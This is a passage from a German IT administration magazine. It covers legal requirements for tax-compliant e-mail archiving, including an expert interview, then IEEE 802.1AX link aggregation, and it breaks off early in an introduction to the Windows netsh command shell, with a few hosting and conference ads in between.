wie der Zugriff der Finanzbeamten 

bei einer Außenprüfung auf archivierte 

Daten des Steuerpflichtigen erfolgt. Die 

GoBS konkretisieren den technischen 

und organisatorischen Rahmen bei der 

elektronischen Archivierung. 

Wie archivieren? 

Sofern die Unterlagen mithilfe eines Datenverarbeitungssystems 

erstellt worden 

sind, verlangt der Steuerprüfer maschinell 

auswertbare Daten. Ausdrucken 

reicht nicht. Wer digital arbeitet, muss 

digital archivieren. In den „Fragen und 

Antworten zum Datenzugriffsrecht der 

Finanzverwaltung“ vom 22.01.2009 

des BMF heißt es: Unter ’maschineller 

Auswertbarkeit’ versteht die Finanzverwaltung 

den „wahlfreien Zugriff auf 

alle gespeicherten Daten einschließlich 

der Stammdaten und Verknüpfungen 

mit Sortier- und Filterfunktionen unter 

Berücksichtigung des Grundsatzes der 

Verhältnismäßigkeit. Mangels wahlfreier 

Zugriffsmöglichkeit akzeptiert die 

Finanzverwaltung daher keine Reports 

oder Druckdateien, die vom Unternehmen 

ausgewählte (’vorgefilterte’) Datenfelder 

und ‐sätze aufführen, jedoch nicht 

mehr alle steuerlich relevanten Daten 

enthalten. Gleiches gilt für archivierte 

Daten, bei denen z.B. während des Archivierungsvorgangs 

eine ’Verdichtung’ 

unter Verlust vorgeblich steuerlich nicht 

relevanter, originär aber vorhanden gewesener 

Daten stattgefunden hat.“ 

Ursprünglich in Papierform angefallene 

Eingangsrechnungen oder Belege müssen 

allerdings nicht extra digitalisiert werden. 

Macht man sich aber freiwillig diese 

Mühe, dann muss das auch ordnungsgemäß 

passieren. Dies sollte man berücksichtigen, 

bevor man sich entscheidet, 

ein Dokumenten-Management-System 

einzuführen. 

Freiwillig archiviert 

E-Mails mit nicht steuerlich relevanten 

Inhalten müssen weder archiviert noch 

für den Datenzugriff vorgehalten werden. 

Vor dem Finanzgericht Rheinland- 

Pfalz, 20.01.2005 AZ 4 K2167/04 ging 

es um den Umfang der Vorlagepflicht 

bei einer Außenprüfung. Das Gericht: 

Es sei Aufgabe des Steuerpflichtigen, 

seine Daten so zu organisieren, dass bei 

einer Steuerprüfung keine geschützten 

Bereiche tangiert werden, die etwa vom 

Datenschutz umfasst sind. Der Umfang 

der Vorlagepflicht richte sich nach den 

Aufforderungen des Prüfers, solange es 

sich um steuerrelevante Daten handelt. 

Die Buchführung sei in ihrer Gesamtheit 

vorzulegen und nicht nur die Daten, die 

der Steuerpflichtige bereit sei, vorzulegen. 

Der Steuerpflichtige sei verpflichtet, 

den Datenzugriff auf freiwillig geführte 

Aufzeichnungen zuzulassen, sofern er 

Aufzeichnungen in digitaler Form führt. 

Für versehentlich überlassene Daten bestehe 

kein Verwertungsverbot. 

Die richtige Lösung finden 

Bei der Auswahl eines Anbieters für ein 

Archivierungssystem sollte man unterscheiden 

zwischen der revisionssicheren 

und der rechtssicheren Archivierung: 

Die revisionssichere Aufbewahrung bedeutet 

eine ordnungsgemäße, vollständige, 

unveränderte, nachvollziehbare 

und über einen Index wiederauffindbare 

Archivierung von kaufmännischen und 

steuerrechtlich relevanten Daten und 

Belegen. Dazu gehört eine Verfahrens- 

Revisionssicherheit ist praktisch unmöglich 

ADMIN befragte den externen Datenschutzbeauftragten 

und IT-Sicherheitsexperten Marco 

Tessendorf, Geschäftsführer der procado Consulting, 

IT- & Medienservice GmbH in Berlin. 

ADMIN: Ist eine ordnungsgemäße E-Mail-Archivierung 

überhaupt technisch umsetzbar und 

bezahlbar für ein Unternehmen, sagen wir mit 

einem bis zehn Mitarbeitern? 

Marco Tessendorf: Es ist praktisch nicht möglich 

oder nur mit einem großem Aufwand machbar, 

eine weitestgehende Revisonssicherheit zu erreichen. 

Problematisch ist bei Systemen, die mit 

digitalen Signaturen zur Sicherstellung der Revisonssicherheit 

arbeiten, das Verfallsdatum der 

Signaturen. Die Gültigkeit der Signaturen läuft 

nach einer gewissen Zeit ab, und sie müssen 

erneuert werden. Damit wird jedoch der Prozess 

durchbrochen. Auch eingesetzte Speichermedien 

können vor Ablauf der Archivierungsdauer 

beschädigt werden oder nicht mehr kompatibel 

zu neuen Systemen sein. Daher sollte man 

bereits bei der Planung berücksichtigen, dass 

die eingesetzten Archivsysteme und ‐medien im 

Laufe der Zeit technologisch und physikalisch 

veralten werden. Die Möglichkeit eine korrekte 

Datenübernahme ohne eine inhaltliche Veränderung 

durchzuführen, ist also ein entscheidender 

Punkt im Archivsystem. Menschliche Schwachstellen 

sind ebenfalls eine Hürde, etwa wenn 

das Original bereits vernichtet wurde und die 

Rückseite beim Scannen vergessen worden oder 

der Scan unleserlich ist. Eine professionelle E- 

Mail-Archivierung hat neben der rechtskonformen 

Archivierung aber weitere Vorteile für den 

Anwender: Sie entlastet das lokale Mailsystem, 

der E-Mail-Server läuft mit höherer Geschwindigkeit 

aufgrund archivierter Daten. Jeder kann, 

je nach den Vorgaben des Systems, die archivierten 

E-Mails aus dem Archiv abrufen. 

ADMIN: Kann ich mir selbst ein Archivierungssystem 

programmieren oder müssen es teure 

Archivierungslizenzen sein oder reicht nicht 

auch eine Datensicherung? Worauf muss ich 

achten? Was kostet eine Archivierung für ein 

kleines Unternehmen mit fünf Mitarbeitern? 

Marco Tessendorf: Es gibt eine Reihe von E- 

Mail-Archivsystemen, die auch für kleine Unternehmen 

bezahlbar sind, die Kosten belaufen 

auf etwa 30,- bis 40,- Euro pro archiviertem 

Postfach zuzüglich laufender Servicegebühren. 

Es ist allerdings zu empfehlen, elektronische Archive 

gegenüber Systemen zur Datensicherung 

abzugrenzen. Die Zweckbestimmungen zwischen 

Archiv und Datensicherung unterscheiden sich. 

Eine Datensicherung erstellt man regelmäßig zu 

dem Zweck, die gesicherten Daten schnell wieder 

herstellen zu können, um einen ordnungsgemäßen 

Betrieb sicherzustellen, und man sichert 

in der Regel nur für einen begrenzten Zeitraum 

– in der Regel bis zu 12 Monate. Die Kopien 

der gesicherten Daten werden bei der Datensicherung 

regelmäßig außerhalb des Systems 

gelagert. Betroffen sind hier nicht nur E-Mails 

und Dokumente, sondern auch andere betriebsoder 

funktionsrelevante Daten. Elektronische 

Archive hingegen sind in den laufenden Systembetrieb 

eingebunden. Die betroffenen Daten 

werden kontinuierlich archiviert und können aus 

dem elektronischen Archiv jederzeit abgerufen 

werden. Die Zweckbestimmung ist hier, die Entlastung 

der technischen Infrastruktur und die 

revisionssichere Verwaltung der Daten über den 

erforderlichen Aufbewahrungszeitraum. 


Admin 


21

Login 


dokumentation. Das Gesetz gibt keine 

klaren Hinweise auf erlaubte Signaturverfahren 

oder Technologien. Der Gesetzgeber 

schreibt bewusst keine bestimmten 

Speichermedien oder Technologien vor. 

Anhaltspunkte zur Datensicherheit (etwa 

Schutz vor unberechtigter Veränderung, 

Verlust, Vernichtung der Datenträger) 

enthalten die Grundsätze ordnungsgemäßer 

DV-gestützter Buchführungssysteme 

(GoBS). 

Ein revisionssicheres System auf dem 

Markt mit einem privaten Siegel „revisionssicher“ 

bedeutet nicht unbedingt 

„rechtssicher“. Maßgeblich ist letztendlich, 

ob alle erforderlichen Daten archiviert 

werden, und ob die Signaturen korrekt 

sind und auch im Falle der Migration 

noch alle Anforderungen erfüllt sind. Dies 

hängt nicht zuletzt von demjenigen ab, 

der archiviert. Die Daten müssen nicht im 

ursprünglichen System gespeichert sein, 

sie können ausgelagert werden, sollten 

aber möglichst im Inland bleiben. Für 

Daten im Ausland gelten Sonderregeln. 

Offizielle Zertifikate 

gibt es nicht 

Es gibt aktuell keine Möglichkeit, ein vorhandenes 

oder geplantes System von der 

Finanzverwaltung als „GDPdU-konform“ 

zertifizieren zu lassen. Das BMF weist 

darauf hin, dass insbesondere die Vielzahl 

und unterschiedliche Ausgestaltung 

und Kombination selbst marktgängiger 

Buchhaltungs- und Archivierungssysteme 

keine allgemein gültigen Aussagen 

der Finanzverwaltung zur Konformität 

der verwendeten oder geplanten Hardund 

Software zulassen. Zertifikate Dritter 

entfalten gegenüber der Finanzverwaltung 

keine Bindungswirkung. Im Übrigen 

hängt die Ordnungsmäßigkeit eines eingesetzten 

Verfahrens letztlich von mehreren 

Kriterien ab (zum Beispiel auch von 

der Richtigkeit und Vollständigkeit der 

eingegebenen Daten). 

Aber aus den Fragen und Antworten zum 

Datenzugriffsrecht der Finanzverwaltung“ 

vom 22.01.2009 des BMF ergeben 

sich die folgenden Anhaltspunkte: „Die 

Finanzverwaltung hat mit Herstellern von 

Entgeltabrechnungs-, Finanzbuchhaltungs- 

und Archivierungssystemen sowie 

dem deutschen Vertrieb der Prüfsoftware 

„IDEA“ (Fa. Audicon, Düsseldorf) eine 

einheitliche technische Bereitstellungshilfe 

zur Format- und Inhaltsbeschreibung 

der steuerlich relevanten Daten 

entwickelt. Ziel ist die automatisierte 

Weitergabe aller zur Auswertung vom 

Prüfer benötigten Informationen über 

den Datenbestand, ohne die geprüften 

Unternehmen personell und finanziell 

– beispielsweise durch Beauftragung externer 

Softwarespezialisten – über das 

unbedingt erforderliche Maß hinaus 

in Anspruch nehmen zu müssen. Der 

„Beschreibungsstandard für die Datenträgerüberlassung“ 

definiert die Datenimport-Schnittstelle 

zur automatisierten 

Übernahme steuerlich relevanter Daten 

einschließlich der zur maschinellen Auswertung 

erforderlichen Verknüpfungen. 

Dieser Schnittstelle können und sollen 

sich die Softwarehersteller bedienen, um 

ihren Kunden die Möglichkeit zur problemlosen 

Datenübergabe bei angeforderter 

Datenträgerüberlassung im Rahmen 

einer Außenprüfung zu bieten.“ 

Die Finanzverwaltung legt sich also technisch 

nicht konkret fest. Der Anwender 

muss allein entscheiden, wie er die gesetzlich 

geforderte Archivierung technisch 

konkret umsetzt. Dies hat aber 

auch Vorteile für den Anwender. Sein 

Spielraum bei der Umsetzung ist größer. 

Beim Verband Organisations- und Informationssysteme 

(VOI) findet man Informationen 

zu rechtlichen, technischen 

und kaufmännischen Fragen rund um 

die Mail-Archivierung [1]: 

Sanktionen 

Nachteil des großen Spielraums des Anwenders 

ist, dass bei ungenügender Umsetzung 

Sanktionen drohen. Die Finanzverwaltung 

reagiert auf einen Verstoß 

in unterschiedlicher Weise. Je nach den 

Umständen im Einzelfall drohen Bußgeld, 

Zwangsmittel, Verzögerungsgeld 

oder Steuerschätzung. 

Die Abgabenordnung sieht in § 146 Absatz 

2 b vor: Kommt der Steuerpflichtige 

der Vorlage von Unterlagen oder 

Erteilung von Auskünften im Rahmen 

der Außenprüfung nicht nach, so kann 

ein Verzögerungsentgelt von 2500 bis 

250000 Euro festgesetzt werden. Das 

Strafgesetzbuch sanktioniert in § 283 b 

sogar die Verletzung von Buchführungspflichten 

im Falle von fahrlässigem Handeln 

mit einer Freiheitsstrafe von bis zu 

einem Jahr oder einer Geldstrafe. Verantwortlich 

für die korrekte Umsetzung 

im Unternehmen ist der Steuerpflichtige 

beziehungsweise der Verantwortliche der 

Gesellschaft – auch wenn die Aufgabe 

an einen externen Dienstleiter delegiert 

wurde. Die Geschäftsführung hat darüber 

zu entscheiden, welche technischen 

und organisatorischen Maßnahmen nötig 

sind. Wird die Aufgabe etwa an einen angestellten 

Administrator delegiert, kann 

dieser unter Umständen haften, wenn 

man ihm grobe Fahrlässigkeit nachweisen 

kann. Er sollte die Geschäftsführung 

um Leitlinien zur rechtssicheren Archivierung 

bitten. 

Kommt die Geschäftsführung der IT- 

Sicherheitspflicht beziehungsweise den 

Verpflichtungen zur Archivierung nicht 

nach und entsteht der Gesellschaft dadurch 

ein Schaden, kann im Einzelfall 

sogar der Verantwortliche persönlich haften. 

Es drohen monetäre Konsequenzen 

– weshalb es sich lohnt, sich mit dem 

Thema zu befassen oder die Geschäftsführung 

dafür zu sensibilisieren. Bei aller 

Bürokratie hat die Archivierungspflicht 

auch Vorteile, denn sie gewährleistet im 

Falle eines Datenverlustes, dass Daten 

schnell wiederhergestellt werden. Oft 

ergibt ein Archiv auch einen schnellen 

Zugriff und gute Suchmöglichkeiten für 

die Mitarbeiter. (jcb) 

n 

Infos 

[1] Hinweise zur Archivierung: [http:// www. 

voi. de/ publikationen/ leitfaeden] 

Die Autorin 

Die Autorin ist Rechtsanwältin & Fachjournalistin 

für IT-Recht in Berlin. Sie veröffentlicht seit 1997 

in zahlreichen Medien zu Fragen des IT-Rechtes. 

Darüber hinaus referiert sie regelmäßig zu aktuellen 

Fragen des Internetrechtes, gibt Workshops 

zum Softwarelizenzrecht oder zur IT-Sicherheit 

und unterrichtet als Lehrbeauftragte für IT-Recht 

an der Beuth Hochschule für Technik, Berlin. Ihre 

Beratungsschwerpunkte sind das Softwarelizenzund 

das Internetrecht, der Check von Webshops 

und Webseiten, das Urheber-, 

Vertrags- und Markenrecht 

sowie das Online-Marketing 

und Datenschutzfragen als 

auch internationales Privatund 

Europarecht. 


Born to 

be ROOT! 

keine Mindestvertragslaufzeit 

keine Einrichtungsgebühr 

Root Server r Linux 

Level 

el 1. Der effiziente 

ente Sprinter! 

SICHERHEIT UND EFFIZIENZ 

CPU 

Leistung 

RAM 

HD 

Traffic 

,00 

€/Mon.* 

Intel Sandy Bridge G530 

2 x 2,4 GHz 

4 GB 

1000 GB 

Unlimited* 

r 

ie 

NaturEnergie 

NaturEnerg 

Sie gehen keine e Kompromisse omisse 

in Sachen Datensicher- 

heit ein? Wir 

auch nicht! Unsere e Rechenzentren en 

entren sind 

streng nach 

ISO 27001 01 

TÜV-zertifiziert. t. Gleichzeitig 

eitig 

denken n wir 

an 

die Umwelt und nutzen regenerative 

enerativ 

Energien. 

n. 

Der 

Root ot 

Server Linux Level el 

1 von STRATO holt das Optimum an 

Leistung und Energieeffizienz eeffizienz heraus, was aktuelle e Server-Hard- 

ware 

hergibt. Was 

wir 

an 

Energie e sparen 

geben wir 

durch 

den 

günstigen n Preis gerne an Sie weiter. Profitieren Sie 

davon! 

* Traffic-Unlimited: Keine zusätzlichen Kosten durch Traffic (bei Traffic-Verbrauch über 1.000 GB/ Monat 

und danach je weitere 300 GB erfolgt eine Umstellung der Anbindung auf max. 10 MBit/s. Erneute Freischaltung 

der vollen Bandbreit jeweils kostenlos über den Kundenservicebereich). Alle Preise inkl. MwSt. 

Info: 0 18 05 - 00 76 77 | strato-pro.de 

(0,14€/Min. aus dem dt. Festnetz, Mobilfunk max. 0,42€/Min.)

Netzwerk 


© zentilia, 123RF 

Link Aggregation steigert Sicherheit und erhöht Durchsatz 

Dicke Leitung 

Einmal sind sich Admin und Anwender einig: Sie wünschen sich fürs Netzwerk hohe Ausfallsicherheit und große 

Bandbreite. Link Aggregation nach IEEE 802.1AX-2008 bietet beides – mit kleinen Einschränkungen. Werner Fischer 

Link Aggregation bedeutet Verbindungszusammenschluss, 

und genau darum 

geht es. Es werden damit mehrere Verbindungen 

zwischen zwei Komponenten 

(Switches, Servern, Storagesysteme, …) 

zusammengeschaltet und logisch als eine 

einzelne Verbindung betrachtet (Abbildung 

1). In der Regel kombiniert man 

so zwei bis vier einzelne Verbindungen, 

die dann nicht mehr als einzelne Links, 

sondern als eine Link Aggregation Group 

(LAG) betrachtet werden. Die meisten 

Managed Switches unterstützen Link 

Aggregation, Gewissheit verschafft ein 

Blick ins Datenblatt. Das Gleiche gilt für 

IP-basierte iSCSI- und NFS/CIFS-Storagesyteme. 

Server müssen für Link Aggregation 

hardwareseitig zumindest mit zwei 

Netzwerkkarten ausgestattet werden 

und softwareseitig Unterstützung vom 

Betriebssystem oder vom Netzwerkkartentreiber 

mitbringen. 

Voraussetzungen 

Bevor mehrere Links zu einer LAG zusammengeführt 

werden, müssen einige 

Voraussetzungen erfüllt sein. Alle Links 

müssen 

n sich im Full-Duplex-Mode befinden, 

n die gleiche Datenrate (zumeist 1 GBit/ 

s) besitzen, 

n parallele Punkt-zu-Punkt Verbindungen 

sein, 

n an einer Endstelle immer genau an 

einem Switch oder Server enden. Link 

Aggregation mit mehreren Switches 

an einem Ende der Link Aggregation 

wie etwa bei Split Multi-Link Trunking 

(SMLT) von Nortel ist mit Link 

Aggregation nicht möglich. Einzige 

Ausnahme sind virtuelle Switches, die 

zwar aus mehreren physischen Switches 

bestehen, sich nach außen aber 

wie ein einzelner Switch verhalten, 

wie das Cisco Virtual Switching System 

1440 oder Juniper Virtual Chassis 

der 3000er/4000er-Reihe. 

Ausfallsicherheit 

Im Netzwerk-Stack ist der Link Aggregation 

Sublayer innerhalb des Data Link 

Layers (Sicherungsschicht) angesiedelt, 

konkret zwischen dem MAC Client und 

MAC Sublayern (Abbildung 2). Fällt nun 

eine von beispielsweise vier Verbindungen 

einer LAG aus, verteilt der Distributor 

der Link Aggregation den Datenverkehr 

der betroffenen Verbindung automatisch 



Netzwerk 

MAC-basierte Lastverteilung 

In diesem Beispiel mit vier aktiven Links einer 

LAG werden Daten von der folgenden Quellzur 

Ziel-MAC-Adresse übertragen: Quell-MAC- 

Adresse: 0x0000A4F8B321 – das letzte Byte 

ist 0x21 (= Binär 00100001) – die letzten 

drei Bits sind also 001 Ziel-MAC-Adresse: 

0x0000A2123456 – das letzte Byte ist 0x56 

(= Binär 01010110) – die letzten drei Bits sind 

also 110. Die Formel zur Auswahl des Links 

lautet: 

{(001 XOR 110) MOD 4} 

001 XOR 110 = 111 (binär) = 7 (dezimal) 

7 MOD 4 (dezimal) = 3 (dezimal) 

Abbildung 1: Mehrere Links werden jeweils zu einer Link Aggregation Group (LAG) zusammengefasst. 

Es wird also der Link Nummer 3 verwendet. 

auf eine andere Verbindung um. Solange 

zumindest eine physische Verbindung 

vorhanden ist, bleibt die LAG-Verbindung 

aufrecht. 

Erhöhte Bandbreite 

Da 10-GBit-Netzwerkkomponenten noch 

relativ teuer sind, erscheint die Bündelung 

von mehreren 1-GBit-Verbindungen 

zu einer LAG als kostengünstige Alternative, 

wenn eine hohe Bandbreite gefragt 

ist. Allerdings bedeuten zwei 1-GBit- 

Links für eine LAG nicht automatisch, 

dass damit eine Übertragungskapazität 

von 2 GBit/s für den Datenaustausch 

zwischen zwei Rechnern bereitsteht. 

Ein einzelnes Ethernet-Frame wird trotz 

Link Aggregation immer nur über einen 

einzelnen Link übertragen. Laut dem 

IEEE-802.1AX-2008-Standard [1] darf die 

Reihenfolge der Frames einer Konversation 

zwischen zwei Endgeräten nicht 

verändert werden. Das ist leicht sicher- 

zustellen, wenn sämtliche Frames einer 

solchen Konversation ausschließlich über 

denselben einzelnen Link versendet werden. 

Sind zwei Server mit einer LAG aus 

zwei 1-GBit-Verbindungen direkt verbunden, 

wird das Kopieren einer Datei von 

einem zum anderen Server aber trotzdem 

nur mit 1GBit/s stattfinden. 

Abbildung 2: Link Aggregation im OSI-Schichtenmodell. 

Mehrere parallele Konversationen können 

aber auf die einzelnen Links einer LAG 

verteilt werden, hier profitiert man von 

einer größeren möglichen Summenbandbreite. 

Diese Methode ermöglicht eine 

einfache Implementierung in Switches 

und Servern. Es sind keine zusätzlichen 

Puffer erforderlich, damit kommt es auch 

DEUTSCHE PYTHON KONFERENZ 

EINE PROGRAMMIERSPRACHE VERÄNDERT DIE WELT 

Sechs Tage Python mit Vorträgen, Tutorials und Sprints – http://pycon.de 

PyCon DE 

29.10. – 3.11.12 

Leipzig 


Admin 


25

Netzwerk 


Abbildung 3: Konfiguration einer dynamischen 

(LACP) Link Aggregation Group beim Switch eines 

Intel Modular Servers. 

zu keinen erhöhten Latenzen durch Link 

Aggregation. 

Lastverteilung 

Wie wählt nun ein Switch oder ein Server 

einen konkreten Link zur Datenübertragung 

einer Konversation aus? 

Der Standard teilt diese Aufgabe einem 

sogenannten Frame Distributor (Frame- 

Verteiler) zu. Wie der Frame Distributor 

die Verteilung genau vornimmt, ist nicht 

vorgeschrieben. Einzige Vorgabe bleibt 

die Limitierung einer Konversation auf 

einen einzelnen Link. 

Die meisten Switches und Betriebssysteme 

verwenden für die Wahl des Links 

die MAC-Adressen von Sender und Empfänger 

beziehungsweise deren drei oder 

sechs untersten Bits (least significant 

bits). Ein Beispiel einer solchen Auswahl 

ist im Kasten „MAC-basierte Lastverteilung“ 

zu sehen. Weitere Lastverteilungs-Algorithmen 

von unterschiedlichen 

Switches und Betriebssystemen finden 

sich unter [2]. 

Statisch oder dynamisch? 

Bei der statischen Link Aggregation werden 

alle Konfigurationsparameter einmalig 

auf beiden beteiligten Komponenten 

einer LAG eingerichtet. Solange ein Link 

einer LAG ’Up’ ist, wird bei statischer 

Link Aggregation dieser Link auch für 

die Datenübertragung verwendet. Beim 

Einsatz von Medienkonvertierern kann 

es aber vorkommen, dass der Link am 

Switch zwar ’Up’, die Verbindung zum 

Switch an der Gegenstelle jedoch unterbrochen 

ist. In diesem Fall sendet der 

Switch weiterhin Daten über diese Verbindung, 

die Datenübertragung ist damit 

unterbrochen. 

Mehr Kontrolle hat man bei der dynamischen 

Link Aggregation mit dem Link 

Aggregation Control Protocol (LACP), das 

den Austausch von Informationen über 

die Link Aggregation zwischen den zwei 

beteiligten Mitgliedern erlaubt (Abbildung 

3). Diese Informationen werden in 

LACPDUs (Link Aggregation Control Protocol 

Data Units) verpackt. Jeder einzelne 

Switch-Port einer solchen dynamischen 

LAG kann als Active LACP oder Passive 

LACP konfiguriert werden: 

n Passive LACP: Der Port bevorzugt, 

von sich aus keine LACPDUs zu übertragen. 

Nur wenn die Gegenstelle 

Active LACP hat, überträgt der Port 

LACPDUs (preference not to speak 

unless spoken to). 

n Active LACP: Der Port bevorzugt, 

LACPDUs zu übertragen und somit 

das Protokoll zu sprechen – unabhängig 

davon, ob die Gegenstelle Passive 

LACP hat oder nicht (a preference to 

speak regardless). 

Dynamische Link Aggregation mit LACP 

bietet gegenüber der statischen Version 

folgende Vorteile: 

n Der Ausfall eines physischen Links 

wird selbst dann erkannt, wenn die 

Punkt-zu-Punkt-Verbindung über einen 

Medienkonverter läuft und damit 

der Link-Status am Switchport auf 

’Up’ bleibt. Da LACPDUs auf dieser 

Verbindung damit ausbleiben, wird 

dieser Link aus der LAG entfernt. Somit 

gehen keine Pakete verloren. 

n Die beiden Geräte können sich gegenseitig 

die LAG-Konfiguration bestätigen. 

Bei statischer Link Aggregation 

werden Fehler meist nicht so schnell 

erkannt. 

Betriebssysteme 

Linux unterstützt mit dem Mode 4 

(802.3ad) des Bonding-Treibers dynamische 

Link Aggregation. Auch FreeBSD 

bringt alle Voraussetzungen für dynamische 

Link Aggregation von Haus aus mit. 

Bei Windows hängt es bei allen bisherigen 

Versionen inklusive Windows Server 

2008 R2 vom Netzwerkkartentreiber ab, 

ob Link Aggregation möglich ist. Windows 

Server 2012 wird hingegen von sich 

aus sowohl statische als auch dynamische 

Link Aggregation nach IEEE 802.1ax 

unterstützen [5]. VMware ESX/ESXi 4.0, 

4.1 & ESXi 5.x unterstützen Link Aggregation, 

allerdings nur statisch [6]. 

Fazit 

Link Aggregation bringt einige Vorteile, 

die es zu nutzen lohnt. Die Ein richtung 

erfordert nur wenige Schritte, zwei 

Links für eine Link Aggregation Group 

lassen den Netzwerkverkehr bei einem 

Kabel- oder Switchportdefekt aufrecht 

bleiben. Auch in Bezug auf eine höhere 

Netzwerkbandbreite ist Link Aggregation 

gut – aber nicht so gut wie eine fettere 

Leitung. (ofr) 

n 

Infos 

[1] IEEE Standard for Local and Metropolitan 

Area Networks – Link Aggregation: [http:// 

standards. ieee. org/ getieee802/ download/ 

802. 1AX‐2008. pdf] 

[2] Link Aggregation / Lastverteilungs- 

Algorithmen: [http:// www. thomas‐krenn. 

com/ de/ wiki/ Link_Aggregation_Lastverteilungs‐Algorithmen] 

[3] Linux Ethernet Bonding Driver 

Howto: [http:// www. kernel. org/ doc/ 

Documentation/ networking/ bonding. txt] 

[4] FreeBSD Handbook, Link Aggregation and 

Failover: [http:// www. freebsd. org/ doc/ en/ 

books/ handbook/ network‐aggregation. 

html] 

[5] Windows Server 2012 „Server 8 Beta“ NIC 

teaming: [http:// blogs. technet. com/ b/ 

meamcs/ archive/ 2012/ 04/ 01/ windows‐serv 

er‐8‐beta‐nic‐teaming. aspx] 

[6] Does ESX/ESXi 4.0, 4.1 & ESXi 5.x support 

802.3ad Dynamic? [http:// kb. vmware. com/ 

kb/ 1010270] 

Der Autor 

Werner Fischer ist seit 2005 Technology Specialist 

bei der Thomas-Krenn.AG und Chefredakteur 

des Thomas Krenn Wikis. 

Seine Arbeitsschwerpunkte 

liegen in den Bereichen 

Hardware-Monitoring, Virtualisierung, 

I/O Performance 

und Hochverfügbarkeit. 


IT-Leistungen für Ihr Business 

Innovativ, sicher und individuell – Unsere IT-Produkte und Services überzeugen seit 

über 20 Jahren durch Qualität und Performance. KAMP entwickelt Lösungen für eine 

sichere und leistungsstarke IT. Unsere Experten informieren und beraten Sie gerne 

unter 0208.89402-35 persönlich. KAMP – wir verbinden die Zukunft. 

www.kamp.de

Netzwerk 

Netshell 

© Christian Delbert, 123RF 

Die Netshell optimal nutzen 

Schweizer 

Netzwerkmesser 

Windows bietet viele Möglichkeiten für die Netzwerkkonfiguration in der grafischen Oberfläche. Wer aber alle 

Funktionen ausloten möchte, muss auf der Kommandozeile die Netshell nutzen. Sie ermöglicht die Konfiguration 

diverser zusätzlicher Parameter des TCP/IP-Stacks und der Netzwerkdienste. Eric Amberg 

Die Netshell ist seit Windows 2000 fester 

Bestandteil jeder Windows-Version. Sie 

basiert auf einem Kernprogramm, das 

sich durch sogenannte Netshell-Helper 

erweitern lässt. Diese Helper sind Bibliotheken 

(DLL-Dateien), die über die Netshell-API 

auch erweitert werden können. 

Mit der Netshell können Sie zum Beispiel 

die folgenden Aufgaben erledigen: 

n Netzwerkschnittstellen konfigurieren 

n Windows-Firewall konfigurieren 

n Anzeigen diverser Netzwerk-Parameter 

n Konfiguration von Netzwerkdiensten 

n IPv6 konfigurieren 

Die Netshell steht sowohl auf Client- als 

auch auf Servervarianten von Windows 

zur Verfügung. Wird auf einem Windows- 

Server ein zusätzlicher Netzwerkdienst, 

wie DHCP installiert, stellt Windows in 

einigen Fällen einen entsprechenden 

Netshell-Helper bereit, um diese Komponente 

über Netshell steuern zu können. 

Sie können die Netshell auf zwei Arten 

verwenden. Zum einen ist es möglich, 

jedes Netshell-Kommando komplett in 

einer Zeile aufzurufen. Dies bietet sich 

insbesondere für Batch-Skripts an. Alternativ 

stellt die Netshell eine interaktive 

Umgebung bereit, in der Sie Befehle 

eingeben können. Diese Variante stellt 

umfassende Hilfen bereit, um sich auch 

als Einsteiger zurechtzufinden. 

Sie gelangen in diese Umgebung durch 

Eingabe von »netsh« in der Eingabeaufforderung. 

Beachten Sie unter Windows 

Vista und Windows 7, dass die Eingabeaufforderung 

mit erhöhten Rechten aufgerufen 

werden muss, wenn Sie in der 

Netshell die Systemkonfiguration ändern 

möchten. 

Auf den Kontext kommt 

es an 

Bei der Arbeit mit dem Programm ist es 

wichtig, die Struktur der Netshell zu verstehen, 

die auf Kontexten basiert, die die 

die einzelnen Netshell-Helper repräsentieren. 

Jeder Kontext bezieht sich auf eine 

bestimmte Netzwerk-Funktionalität wie 

zum Beispiel IP-, Firewall-, IPSec- oder 

DHCP-Client-Konfiguration. Abbildung 1 

zeigt die Ausgabe der Hilfe-Funktion, die 

zu jeder Zeit durch Eingabe des Fragezeichens 

»?« aufgerufen werden kann. 

In der interaktiven Oberfläche können 

Sie zwischen den einzelnen Kontexten 

wechseln. Welche Kontexte zur Verfügung 

stehen, zeigt die untere Sektion der 

Hilfeausgabe mit dem Titel »Folgende Unterkontexte 

sind verfügbar«. In der Hilfe 

finden Sie darüber hinaus alle Befehle, 

die grundsätzlich und im jeweiligen Kontext 

verfügbar sind. Die Liste der Befehle 

enthält auch diejenigen Kommandos, die 

in einen anderen Kontext führen. 

Orientierungshilfe 

Der Netshell-Prompt zeigt den jeweiligen 

Kontext an. Wechseln Sie zum Beispiel 

durch Eingabe von »interface« in 

den Interface-Kontext, gibt der Prompt 

»netsh interface>« aus. Die Ebenen sind 

hierarchisch gegliedert. Innerhalb eines 

Kontextes können Sie in den Unterkontext 

eines Befehls wechseln. So bietet 

zum Beispiel der Kontext »Interface« den 

Befehl »ipv4«. Auch hier zeigt der Prompt 

mit »netsh interface ipv4>« die Ebene 

an. Durch Eingabe von zwei Punkten »..« 

gelangen Sie in die jeweils übergeordnete 

Ebene. Analog zur Windows-Eingabeauf- 


Netshell 

Netzwerk 

forderung können Sie durch 

die Cursor-auf- und Cursorab-Tasten 

durch die Befehlshistorie 

navigieren. 

Ich zeig dir, wie 

es geht 

Neben der allgemeinen Hilfe, 

die die verfügbaren Befehle 

zeigt, verfügt die Netshell 

auch über eine detaillierte 

Hilfeausgabe für jeden einzelnen 

Befehl. Befinden Sie 

sich zum Beispiel im Kontext 

»netsh interface ipv4« und 

geben »set ?« ein, zeigt die 

Net shell die verfügbaren weiteren 

Befehle (Abbildung 2). 

Doch Achtung: »set« ist kein 

eigener Unterkontext, sondern 

ein Befehl mit weiteren 

Unterbefehlen und Parametern. 

Geben Sie »set« ein, 

bleibt der Kontext gleich. 

Stattdessen müssen Sie, nachdem 

Sie die Hilfeausgabe studiert 

haben, den Befehl mit 

gewünschtem Unterbefehl 

angeben, zu dem Sie jedoch 

wiederum Hilfe erhalten können. 

So zeigt die Eingabe von 

»set addresse ?« eine ausführliche 

Syntax-Beschreibung zu 

eben jenem Kommando, wie 

in Abbildung 3 zu sehen. 

Dabei werden dankenswerterweise 

auch Beispiele angegeben, 

die den Einsatz des 

jeweiligen Netshell-Befehls 

verdeutlichen. 

Zur Praxis 

Im Folgenden zeigt dieser 

Artikel einige typische Aufgabenstellungen, 

die Sie mit 

der Netshell konsolenbasiert 

lösen können. Während die 

eine oder andere Aufgabe 

auch in der GUI mit Dialogfenstern 

zu bewerkstelligen 

ist, gibt es andere Aufgaben, 

für die die Netshell der einzige 

Weg ist. Dies bezieht 

sich zum Beispiel auf diverse 

Einstellungen für IPv6 oder 

Branchcache. Insbesondere 
